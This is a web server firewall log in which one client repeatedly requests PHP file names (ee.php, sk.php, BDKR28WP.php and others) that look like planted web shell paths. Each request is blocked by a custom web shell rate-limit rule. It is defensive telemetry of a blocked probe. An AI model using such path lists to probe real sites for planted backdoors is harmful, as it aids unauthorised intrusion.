[Mon Mar 30 23:36:52.106198 2026] [:error] [pid 60835:tid 60846] [client 72.146.16.175:62235] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ee.php"] [unique_id "acqYlAIOJ4Lc0iJVRzwDvQAAAAk"]
[Mon Mar 30 23:36:52.610668 2026] [:error] [pid 63557:tid 63565] [client 72.146.16.175:61477] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ee.php"] [unique_id "acqYlK4QNVlzYgEvIjnKEgAAAQY"]
[Mon Mar 30 23:36:53.113573 2026] [:error] [pid 63557:tid 63582] [client 72.146.16.175:60676] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ee.php"] [unique_id "acqYla4QNVlzYgEvIjnKHgAAARc"]
[Mon Mar 30 23:36:53.583145 2026] [:error] [pid 60745:tid 60770] [client 72.146.16.175:63790] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/epinyins.php"] [unique_id "acqYlSQDBn75QnHaPb9VyQAAAFU"]
[Mon Mar 30 23:36:54.080334 2026] [:error] [pid 63557:tid 63561] [client 72.146.16.175:60717] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/epinyins.php"] [unique_id "acqYlq4QNVlzYgEvIjnKKgAAAQI"]
[Mon Mar 30 23:36:54.594536 2026] [:error] [pid 60746:tid 60787] [client 72.146.16.175:65461] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/epinyins.php"] [unique_id "acqYlp4kQrgjDdAbQCoyMAAAAIs"]
[Mon Mar 30 23:36:55.088053 2026] [:error] [pid 60746:tid 60780] [client 72.146.16.175:60796] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/epinyins.php"] [unique_id "acqYl54kQrgjDdAbQCoyMQAAAIQ"]
[Mon Mar 30 23:36:55.653040 2026] [:error] [pid 60835:tid 60844] [client 72.146.16.175:59453] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/i1.php"] [unique_id "acqYlwIOJ4Lc0iJVRzwD9AAAAAc"]
[Mon Mar 30 23:36:56.140592 2026] [:error] [pid 60745:tid 60761] [client 72.146.16.175:63838] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/i1.php"] [unique_id "acqYmCQDBn75QnHaPb9VzQAAAEw"]
[Mon Mar 30 23:36:56.612508 2026] [:error] [pid 60745:tid 60754] [client 72.146.16.175:60773] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/i1.php"] [unique_id "acqYmCQDBn75QnHaPb9V0QAAAEU"]
[Mon Mar 30 23:36:57.089834 2026] [:error] [pid 63557:tid 63569] [client 72.146.16.175:63774] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/i1.php"] [unique_id "acqYma4QNVlzYgEvIjnKMgAAAQo"]
[Mon Mar 30 23:36:57.584646 2026] [:error] [pid 60746:tid 60785] [client 72.146.16.175:60759] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vv.php"] [unique_id "acqYmZ4kQrgjDdAbQCoyNwAAAIk"]
[Mon Mar 30 23:36:58.073302 2026] [:error] [pid 60746:tid 60791] [client 72.146.16.175:61548] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vv.php"] [unique_id "acqYmp4kQrgjDdAbQCoyOAAAAI8"]
[Mon Mar 30 23:36:58.591467 2026] [:error] [pid 60835:tid 60855] [client 72.146.16.175:65435] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vv.php"] [unique_id "acqYmgIOJ4Lc0iJVRzwD_AAAABI"]
[Mon Mar 30 23:36:59.058768 2026] [:error] [pid 60746:tid 60778] [client 72.146.16.175:60736] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vv.php"] [unique_id "acqYm54kQrgjDdAbQCoyOwAAAII"]
[Mon Mar 30 23:36:59.543187 2026] [:error] [pid 60746:tid 60779] [client 72.146.16.175:65524] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/oo.php"] [unique_id "acqYm54kQrgjDdAbQCoyPAAAAIM"]
[Mon Mar 30 23:37:00.015555 2026] [:error] [pid 60746:tid 60792] [client 72.146.16.175:62268] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/oo.php"] [unique_id "acqYnJ4kQrgjDdAbQCoyPQAAAJA"]
[Mon Mar 30 23:37:00.490804 2026] [:error] [pid 63557:tid 63564] [client 72.146.16.175:65446] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/oo.php"] [unique_id "acqYnK4QNVlzYgEvIjnKOQAAAQU"]
[Mon Mar 30 23:37:00.980364 2026] [:error] [pid 60746:tid 60786] [client 72.146.16.175:62210] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/oo.php"] [unique_id "acqYnJ4kQrgjDdAbQCoyPwAAAIo"]
[Mon Mar 30 23:37:01.484487 2026] [:error] [pid 63557:tid 63577] [client 72.146.16.175:63822] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sk.php"] [unique_id "acqYna4QNVlzYgEvIjnKPgAAARI"]
[Mon Mar 30 23:37:02.011604 2026] [:error] [pid 60745:tid 60762] [client 72.146.16.175:63817] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sk.php"] [unique_id "acqYniQDBn75QnHaPb9V1QAAAE0"]
[Mon Mar 30 23:37:02.544388 2026] [:error] [pid 60745:tid 60770] [client 72.146.16.175:63841] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sk.php"] [unique_id "acqYniQDBn75QnHaPb9V1gAAAFU"]
[Mon Mar 30 23:37:03.070468 2026] [:error] [pid 63557:tid 63578] [client 72.146.16.175:61551] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sk.php"] [unique_id "acqYn64QNVlzYgEvIjnKPwAAARM"]
[Mon Mar 30 23:37:03.546602 2026] [:error] [pid 63557:tid 63568] [client 72.146.16.175:65513] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aaa.php"] [unique_id "acqYn64QNVlzYgEvIjnKQQAAAQk"]
[Mon Mar 30 23:37:04.081596 2026] [:error] [pid 63557:tid 63573] [client 72.146.16.175:60767] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aaa.php"] [unique_id "acqYoK4QNVlzYgEvIjnKQwAAAQ4"]
[Mon Mar 30 23:37:04.566998 2026] [:error] [pid 63557:tid 63571] [client 72.146.16.175:58890] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aaa.php"] [unique_id "acqYoK4QNVlzYgEvIjnKRwAAAQw"]
[Mon Mar 30 23:37:05.099690 2026] [:error] [pid 63557:tid 63578] [client 72.146.16.175:62301] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aaa.php"] [unique_id "acqYoa4QNVlzYgEvIjnKSwAAARM"]
[Mon Mar 30 23:37:05.590147 2026] [:error] [pid 63557:tid 63581] [client 72.146.16.175:60782] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "acqYoa4QNVlzYgEvIjnKTgAAARY"]
[Mon Mar 30 23:37:06.175650 2026] [:error] [pid 63557:tid 63579] [client 72.146.16.175:61516] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "acqYoq4QNVlzYgEvIjnKUgAAARQ"]
[Mon Mar 30 23:37:06.672590 2026] [:error] [pid 60746:tid 60779] [client 72.146.16.175:62220] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "acqYop4kQrgjDdAbQCoyRAAAAIM"]
[Mon Mar 30 23:37:09.308946 2026] [:error] [pid 63557:tid 63580] [client 72.146.16.175:60284] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "acqYpa4QNVlzYgEvIjnKXgAAARU"]
[Mon Mar 30 23:37:09.945648 2026] [:error] [pid 63557:tid 63562] [client 72.146.16.175:62267] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "acqYpa4QNVlzYgEvIjnKYQAAAQM"]
[Mon Mar 30 23:37:10.470102 2026] [:error] [pid 60835:tid 60842] [client 72.146.16.175:62255] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "acqYpgIOJ4Lc0iJVRzwEFwAAAAU"]
[Mon Mar 30 23:37:10.943389 2026] [:error] [pid 60746:tid 60780] [client 72.146.16.175:61464] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "acqYpp4kQrgjDdAbQCoySgAAAIQ"]
[Mon Mar 30 23:37:11.525466 2026] [:error] [pid 60835:tid 60850] [client 72.146.16.175:65438] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "acqYpwIOJ4Lc0iJVRzwEGgAAAA0"]
[Mon Mar 30 23:37:12.038490 2026] [:error] [pid 60835:tid 60859] [client 72.146.16.175:58941] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BDKR28WP.php"] [unique_id "acqYqAIOJ4Lc0iJVRzwEHAAAABY"]
[Mon Mar 30 23:37:12.518556 2026] [:error] [pid 60835:tid 60858] [client 72.146.16.175:63833] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BDKR28WP.php"] [unique_id "acqYqAIOJ4Lc0iJVRzwEHQAAABU"]
[Mon Mar 30 23:37:12.987512 2026] [:error] [pid 60746:tid 60791] [client 72.146.16.175:65515] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BDKR28WP.php"] [unique_id "acqYqJ4kQrgjDdAbQCoyTwAAAI8"]
[Mon Mar 30 23:37:13.485909 2026] [:error] [pid 60745:tid 60755] [client 72.146.16.175:61441] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BDKR28WP.php"] [unique_id "acqYqSQDBn75QnHaPb9V4gAAAEY"]
[Mon Mar 30 23:37:13.973887 2026] [:error] [pid 60745:tid 60750] [client 72.146.16.175:61546] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-access.php"] [unique_id "acqYqSQDBn75QnHaPb9V5AAAAEE"]
[Mon Mar 30 23:37:14.455370 2026] [:error] [pid 60745:tid 60758] [client 72.146.16.175:58968] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-access.php"] [unique_id "acqYqiQDBn75QnHaPb9V5wAAAEk"]
[Mon Mar 30 23:37:14.946099 2026] [:error] [pid 60745:tid 60756] [client 72.146.16.175:60777] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-access.php"] [unique_id "acqYqiQDBn75QnHaPb9V6AAAAEc"]
[Mon Mar 30 23:37:15.468644 2026] [:error] [pid 60745:tid 60766] [client 72.146.16.175:61547] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-access.php"] [unique_id "acqYqyQDBn75QnHaPb9V7AAAAFE"]
[Mon Mar 30 23:37:16.018018 2026] [:error] [pid 60745:tid 60751] [client 72.146.16.175:60232] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bgymj.php"] [unique_id "acqYrCQDBn75QnHaPb9V7wAAAEI"]
[Mon Mar 30 23:37:16.504336 2026] [:error] [pid 63557:tid 63582] [client 72.146.16.175:61465] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bgymj.php"] [unique_id "acqYrK4QNVlzYgEvIjnKaQAAARc"]
[Mon Mar 30 23:37:17.028535 2026] [:error] [pid 60835:tid 60850] [client 72.146.16.175:62291] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bgymj.php"] [unique_id "acqYrQIOJ4Lc0iJVRzwEJgAAAA0"]
[Mon Mar 30 23:37:17.510960 2026] [:error] [pid 63557:tid 63574] [client 72.146.16.175:61532] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bgymj.php"] [unique_id "acqYra4QNVlzYgEvIjnKawAAAQ8"]
[Mon Mar 30 23:37:18.026523 2026] [:error] [pid 63557:tid 63563] [client 72.146.16.175:65476] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "acqYrq4QNVlzYgEvIjnKbgAAAQQ"]
[Mon Mar 30 23:37:18.559501 2026] [:error] [pid 60747:tid 60815] [client 72.146.16.175:62302] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "acqYrgU3IY-cCpy_-zFP4AAAAMw"]
[Mon Mar 30 23:37:19.052124 2026] [:error] [pid 63557:tid 63561] [client 72.146.16.175:60755] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "acqYr64QNVlzYgEvIjnKdQAAAQI"]
[Mon Mar 30 23:37:19.527209 2026] [:error] [pid 60747:tid 60817] [client 72.146.16.175:62228] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "acqYrwU3IY-cCpy_-zFP5AAAAM4"]
[Mon Mar 30 23:37:20.060839 2026] [:error] [pid 60747:tid 60805] [client 72.146.16.175:63754] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gssdd.php"] [unique_id "acqYsAU3IY-cCpy_-zFP5QAAAMI"]
[Mon Mar 30 23:37:20.542507 2026] [:error] [pid 60835:tid 60848] [client 72.146.16.175:63786] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gssdd.php"] [unique_id "acqYsAIOJ4Lc0iJVRzwEKgAAAAs"]
[Mon Mar 30 23:37:21.117454 2026] [:error] [pid 63557:tid 63574] [client 72.146.16.175:62331] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gssdd.php"] [unique_id "acqYsa4QNVlzYgEvIjnKeAAAAQ8"]
[Mon Mar 30 23:37:21.595814 2026] [:error] [pid 60835:tid 60843] [client 72.146.16.175:63851] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gssdd.php"] [unique_id "acqYsQIOJ4Lc0iJVRzwEKwAAAAY"]
[Mon Mar 30 23:37:22.091164 2026] [:error] [pid 60746:tid 60783] [client 72.146.16.175:60197] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog.php"] [unique_id "acqYsp4kQrgjDdAbQCoyWgAAAIc"]
